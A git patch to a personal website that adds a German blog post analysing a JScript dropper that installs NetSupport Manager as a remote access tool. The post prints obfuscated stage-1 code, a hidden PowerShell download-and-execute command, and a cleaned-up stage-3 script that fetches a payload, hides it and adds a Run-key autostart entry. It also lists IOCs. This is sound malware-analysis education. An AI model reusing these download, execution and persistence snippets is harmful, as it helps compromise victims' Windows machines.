From a9350051c4bd93b517d2a411a3ca1442051f326f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Johannes=20B=C3=BClow?= Date: Thu, 18 May 2023 11:53:30 +0200 Subject: [PATCH] added updates to two blog entries --- Makefile | 2 +- content/blog/2023-02-05-esxiargs.md | 4 +- content/blog/2023-04-28-JSRat.md | 126 ++++++++++++++++++ content/expertise/netxcloud.md | 17 +++ .../Screenshot_from_2023-04_28-08-50-24.png | Bin 0 -> 13948 bytes 5 files changed, 147 insertions(+), 2 deletions(-) create mode 100644 content/blog/2023-04-28-JSRat.md create mode 100644 content/expertise/netxcloud.md create mode 100644 static/img/blog/Screenshot_from_2023-04_28-08-50-24.png diff --git a/Makefile b/Makefile index 0608eed..640e49e 100644 --- a/Makefile +++ b/Makefile @@ -13,7 +13,7 @@ nopub: hugo container podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de rollout: - kubectl rollout restart deployment www-jmbit-de -n jmbit-web + kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web clean: rm -rf public diff --git a/content/blog/2023-02-05-esxiargs.md b/content/blog/2023-02-05-esxiargs.md index 1370a01..04b6ccc 100644 --- a/content/blog/2023-02-05-esxiargs.md +++ b/content/blog/2023-02-05-esxiargs.md @@ -5,7 +5,9 @@ author: Johannes Bülow draft: false --- -## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! +| UPDATE | +|----------------------------------------------------------------------------------------| +|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! | ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise) verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit diff --git a/content/blog/2023-04-28-JSRat.md b/content/blog/2023-04-28-JSRat.md new file mode 100644 index 0000000..48c8f64 --- /dev/null +++ b/content/blog/2023-04-28-JSRat.md @@ -0,0 +1,126 @@ +--- +title: "JScript delivered RAT" +date: 2023-04-28 +draft: false +--- + +# *DISCLAIMER* +**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme +keinerlei Haftung für etwaige Schäden bei Nachahmung!** + +| UPDATE | +|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! | + +## Einführung +In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben. +Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool +(RAT) installiert. + +Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert +hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird. +![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png) + +Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer +angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen +JScript-Engine ausgeführt. + +## Stage 1 +Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das +Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die +nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden +Code ausgeben: + +```js +LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk')); +FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0); +``` +_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._ + +```js +LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk')); +console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ; +console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') ) +console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0); +``` +_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache +Klasse mit String dahinter._ + +Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output: + +``` +remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js +ShElL.APPlIcatioN +scriptIng.fIlesysTemobjeCt +[object Object]FolderExistsC:\userss +[object Object]ShellExecute +cmd/C POwerShElL -nop -w hidden -ep bypass -enc oPen 0 +``` + +der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt. +```powershell +IEX (New-Object Net.Webclient).downloadstring("") +``` + +## Stage 3 + +Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung, +String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den +meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben. + +```powershell +{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo'); +``` +_Ausschnitt aus dem Originalcode_ + +```powershell +#!/usr/bin/env pwsh + +&('cd') ${ENV:appdata} +${link} = "https:///wp-content/plugins/giveme.php" +${rnum} = 5 +${rrnum} = 1337 +${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ" +${rstr} = '' +${ran} = .(New-Object System.Random) +for (${i} = 0 + ${i} -lt ${r`NuM} + ${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] } +${rzip} = ${rstr} + ".zip" +${path} = ${ENV:`APPDATA} + '\' + ${rzip} +${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_" +write-host (Start-Bitstransfer) -Source ${link} -Destination ${path} +&(Expand-Archive -path ${path} -destinationpath ${pzip}) +${fold} = &(Get-Item) ${pzip} -Force +${fold}.Attributes = Hidden +&(Remove-Item) -path ${path} +&('cd') ${pzip} +Write-Output Start client32.exe +${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe" +${rnm} = ONEN0TEupdate_1337 +Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String + +``` +_Stage3, aufgeräumt und vereinfacht_ + +Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey +erstellt. +Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server +verbindet. + +## IOCs + +### C2-Server +* blahadfurtik.com:5222 (IP: 89.22.237.94 ) + +### Lokal/Filesystem +* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users//AppData/Roaming/` +* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in + Appdata und zu client32.exe in diesem zeigend + + + + +----------- +Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b +Quelle: bazaar.abuse.ch diff --git a/content/expertise/netxcloud.md b/content/expertise/netxcloud.md new file mode 100644 index 0000000..f268c92 --- /dev/null +++ b/content/expertise/netxcloud.md @@ -0,0 +1,17 @@ +--- +title: "Netxcloud" +date: 2023-05-01T18:06:16+02:00 +draft: true +--- + +Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive, +Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud +kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das +Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung, +Taskmanagement und mehr erweitert +werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann. + + + + + diff --git a/static/img/blog/Screenshot_from_2023-04_28-08-50-24.png b/static/img/blog/Screenshot_from_2023-04_28-08-50-24.png new file mode 100644 index 0000000000000000000000000000000000000000..1631a5fe671196ce4fd73e8479f4f4b82a2b9106 GIT binary patch literal 13948 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 